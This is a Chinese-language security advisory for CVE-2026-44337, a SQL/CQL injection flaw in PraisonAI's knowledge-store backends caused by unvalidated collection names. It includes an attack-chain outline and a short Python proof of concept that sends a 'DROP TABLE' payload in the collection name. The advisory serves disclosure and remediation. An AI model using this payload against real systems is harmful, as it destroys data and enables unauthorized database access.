IPBUF安全漏洞报告
English
CVE-2026-44337 CVSS 6.3 中危

CVE-2026-44337 PraisonAI SQL注入漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-44337
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

SQL注入CQL注入PraisonAI中危

漏洞概述

PraisonAI是一个多智能体团队系统。在2.4.1至4.6.34之前的版本中,该系统暴露了可选的SQL/CQL支持的知识存储实现。这些实现在构建表和索引标识符时,直接使用了未经验证的name和collection参数。当应用程序将不受信任的集合名称传递给这些后端时,可能会触发SQL或CQL注入攻击。该问题已在4.6.34版本中修复。

技术细节

该漏洞的根源在于PraisonAI在处理SQL/CQL支持的知识存储后端时,缺乏对输入参数的严格验证。具体而言,系统在构建数据库查询语句中的表名和索引标识符时,直接将用户提供的name和collection参数进行了拼接,而没有进行清洗或使用参数化查询。这种不安全的编程习惯允许攻击者通过构造恶意的集合名称,将任意的SQL或CQL代码注入到数据库查询中。由于CVSS向量显示需要低权限且无需用户交互,攻击者一旦获得应用程序的访问权限并能够控制输入数据,即可利用此漏洞执行未授权的数据库操作,从而窃取敏感数据、修改数据结构或破坏数据库可用性。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是PraisonAI系统,且版本在2.4.1至4.6.34之间。
STEP 2
访问获取
攻击者获取应用程序的低权限访问账号(PR:L),无需用户交互即可接触相关接口。
STEP 3
漏洞利用
攻击者向知识存储后端发送包含恶意SQL/CQL代码的集合名称参数,利用未验证的输入点注入攻击代码。
STEP 4
影响达成
数据库执行了注入的恶意代码,导致数据泄露(C:L)、数据被篡改(I:L)或服务不可用(A:L)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-praisonai-instance/api/knowledge-store" # Malicious payload attempting SQL injection via collection name # This payload tries to inject a malicious command in the table identifier malicious_collection = "users; DROP TABLE sensitive_data--" payload = { "collection_name": malicious_collection, "name": "test_index" } try: # Send the malicious request response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check database for potential SQL execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

PraisonAI >= 2.4.1, < 4.6.34

防御指南

临时缓解措施
建议用户立即将PraisonAI升级至4.6.34或更高版本。如果无法立即升级,应严格限制对知识存储API的访问权限,并确保所有传入的集合名称和参数都经过严格的白名单验证,以防止注入攻击。

参考链接